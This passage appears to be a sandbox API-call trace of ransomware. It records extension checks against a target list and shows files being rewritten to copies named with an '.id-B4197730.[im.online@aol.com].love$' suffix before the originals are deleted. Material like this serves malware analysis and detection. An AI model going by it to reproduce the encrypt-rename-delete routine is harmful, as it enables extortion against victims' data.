(lpString1=".bz2", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString=".7z") returned 3 [0103.031] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.031] lstrlenW (lpString=".dbf") returned 4 [0103.031] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.031] lstrlenW (lpString=".1cd") returned 4 [0103.031] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.031] lstrlenW (lpString=".jpg") returned 4 [0103.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.031] lstrlenW (lpString=".doc") returned 4 [0103.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString=".docx") returned 5 [0103.031] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.031] lstrlenW (lpString=".pdf") returned 4 [0103.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString=".xls") returned 4 [0103.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString=".xlsx") returned 5 [0103.031] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.031] lstrlenW (lpString=".ppt") returned 4 [0103.031] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.031] lstrlenW (lpString=".zip") returned 4 [0103.031] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.031] lstrlenW (lpString=".rar") returned 4 [0103.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.031] lstrlenW (lpString=".bz2") returned 4 [0103.031] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.032] lstrlenW (lpString=".7z") returned 3 [0103.032] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.032] lstrlenW (lpString=".dbf") returned 4 [0103.032] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.032] lstrlenW (lpString=".1cd") returned 4 [0103.032] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.032] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.032] lstrlenW (lpString=".jpg") returned 4 [0103.032] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.032] lstrcmpiW (lpString1=".rtf", lpString2=".love$") returned 1 [0103.032] lstrlenW (lpString="eula.rtf") returned 8 [0103.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.033] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5827) returned 1 [0103.033] CloseHandle (hObject=0x2c8) returned 1 [0103.033] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 0x80 [0103.033] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.033] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.033] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.033] GetLastError () returned 0x0 [0103.033] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x16c3, lpOverlapped=0x0) returned 1 [0103.035] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x16d0, lpOverlapped=0x0) returned 1 [0103.036] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.037] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.037] SetEndOfFile (hFile=0x35c) returned 1 [0103.037] CloseHandle (hObject=0x35c) returned 1 [0103.043] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.043] SetEndOfFile (hFile=0x2c8) returned 1 [0103.044] CloseHandle (hObject=0x2c8) returned 1 [0103.044] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.044] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf")) returned 1 [0103.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.044] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.044] lstrlenW (lpString=".doc") returned 4 [0103.044] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString=".docx") returned 5 [0103.045] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.045] lstrlenW (lpString=".pdf") returned 4 [0103.045] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString=".xls") returned 4 [0103.045] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.045] lstrlenW (lpString=".xlsx") returned 5 [0103.045] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.045] lstrlenW (lpString=".ppt") returned 4 [0103.045] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.045] lstrlenW (lpString=".zip") returned 4 [0103.045] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.045] lstrlenW (lpString=".rar") returned 4 [0103.045] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString=".bz2") returned 4 [0103.045] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString=".7z") returned 3 [0103.045] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.045] lstrlenW (lpString=".dbf") returned 4 [0103.045] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.045] lstrlenW (lpString=".1cd") returned 4 [0103.045] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.045] lstrlenW (lpString=".jpg") returned 4 [0103.045] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.045] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.045] lstrlenW (lpString=".doc") returned 4 [0103.045] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.045] lstrlenW (lpString=".docx") returned 5 [0103.045] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.046] lstrlenW (lpString=".pdf") returned 4 [0103.046] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.046] lstrlenW (lpString=".xls") returned 4 [0103.046] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.046] lstrlenW (lpString=".xlsx") returned 5 [0103.046] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.046] lstrlenW (lpString=".ppt") returned 4 [0103.046] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.046] lstrlenW (lpString=".zip") returned 4 [0103.046] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.046] lstrlenW (lpString=".rar") returned 4 [0103.046] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.046] lstrlenW (lpString=".bz2") returned 4 [0103.046] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.046] lstrlenW (lpString=".7z") returned 3 [0103.046] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.046] lstrlenW (lpString=".dbf") returned 4 [0103.046] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.046] lstrlenW (lpString=".1cd") returned 4 [0103.046] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.046] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\eula.rtf") returned 35 [0103.046] lstrlenW (lpString=".jpg") returned 4 [0103.046] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.046] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.046] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.047] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=60684) returned 1 [0103.047] CloseHandle (hObject=0x2c8) returned 1 [0103.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0103.047] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.047] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.048] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.048] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.048] GetLastError () returned 0x0 [0103.048] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xed0c, lpOverlapped=0x0) returned 1 [0103.873] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xed10, lpOverlapped=0x0) returned 1 [0103.876] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.876] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.877] SetEndOfFile (hFile=0x35c) returned 1 [0103.877] CloseHandle (hObject=0x35c) returned 1 [0103.880] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.880] SetEndOfFile (hFile=0x2c8) returned 1 [0103.881] CloseHandle (hObject=0x2c8) returned 1 [0103.881] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.882] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0103.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.882] lstrlenW (lpString=".doc") returned 4 [0103.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.882] lstrlenW (lpString=".docx") returned 5 [0103.882] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.882] lstrlenW (lpString=".pdf") returned 4 [0103.883] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString=".xls") returned 4 [0103.883] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString=".xlsx") returned 5 [0103.883] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.883] lstrlenW (lpString=".ppt") returned 4 [0103.883] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.883] lstrlenW (lpString=".zip") returned 4 [0103.883] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.883] lstrlenW (lpString=".rar") returned 4 [0103.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString=".bz2") returned 4 [0103.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString=".7z") returned 3 [0103.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.883] lstrlenW (lpString=".dbf") returned 4 [0103.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.883] lstrlenW (lpString=".1cd") returned 4 [0103.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.883] lstrlenW (lpString=".jpg") returned 4 [0103.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.883] lstrlenW (lpString=".doc") returned 4 [0103.883] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.883] lstrlenW (lpString=".docx") returned 5 [0103.883] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.883] lstrlenW (lpString=".pdf") returned 4 [0103.884] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString=".xls") returned 4 [0103.884] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString=".xlsx") returned 5 [0103.884] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.884] lstrlenW (lpString=".ppt") returned 4 [0103.884] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.884] lstrlenW (lpString=".zip") returned 4 [0103.884] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.884] lstrlenW (lpString=".rar") returned 4 [0103.884] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString=".bz2") returned 4 [0103.884] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString=".7z") returned 3 [0103.884] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.884] lstrlenW (lpString=".dbf") returned 4 [0103.884] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.884] lstrlenW (lpString=".1cd") returned 4 [0103.884] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.884] lstrlenW (lpString=".jpg") returned 4 [0103.884] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.885] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0103.885] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0103.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.885] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=93314) returned 1 [0103.885] CloseHandle (hObject=0x2c8) returned 1 [0103.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0103.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0103.886] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.886] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.886] GetLastError () returned 0x0 [0103.886] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x16c82, lpOverlapped=0x0) returned 1 [0103.891] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x16c90, lpOverlapped=0x0) returned 1 [0103.893] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.894] WriteFile (in: hFile=0x35c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.894] SetEndOfFile (hFile=0x35c) returned 1 [0103.894] CloseHandle (hObject=0x35c) returned 1 [0103.900] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.900] SetEndOfFile (hFile=0x2c8) returned 1 [0103.902] CloseHandle (hObject=0x2c8) returned 1 [0103.902] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.902] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.903] lstrlenW (lpString=".doc") returned 4 [0103.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString=".docx") returned 5 [0103.903] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.903] lstrlenW (lpString=".pdf") returned 4 [0103.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString=".xls") returned 4 [0103.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString=".xlsx") returned 5 [0103.903] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.903] lstrlenW (lpString=".ppt") returned 4 [0103.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.903] lstrlenW (lpString=".zip") returned 4 [0103.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.903] lstrlenW (lpString=".rar") returned 4 [0103.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString=".bz2") returned 4 [0103.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString=".7z") returned 3 [0103.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.903] lstrlenW (lpString=".dbf") returned 4 [0103.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.903] lstrlenW (lpString=".1cd") returned 4 [0103.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.903] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.903] lstrlenW (lpString=".jpg") returned 4 [0103.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.904] lstrlenW (lpString=".doc") returned 4 [0103.904] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString=".docx") returned 5 [0103.904] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.904] lstrlenW (lpString=".pdf") returned 4 [0103.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString=".xls") returned 4 [0103.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString=".xlsx") returned 5 [0103.904] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.904] lstrlenW (lpString=".ppt") returned 4 [0103.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.904] lstrlenW (lpString=".zip") returned 4 [0103.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.904] lstrlenW (lpString=".rar") returned 4 [0103.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString=".bz2") returned 4 [0103.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString=".7z") returned 3 [0103.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.904] lstrlenW (lpString=".dbf") returned 4 [0103.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0103.904] lstrlenW (lpString=".1cd") returned 4 [0103.904] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.904] lstrlenW 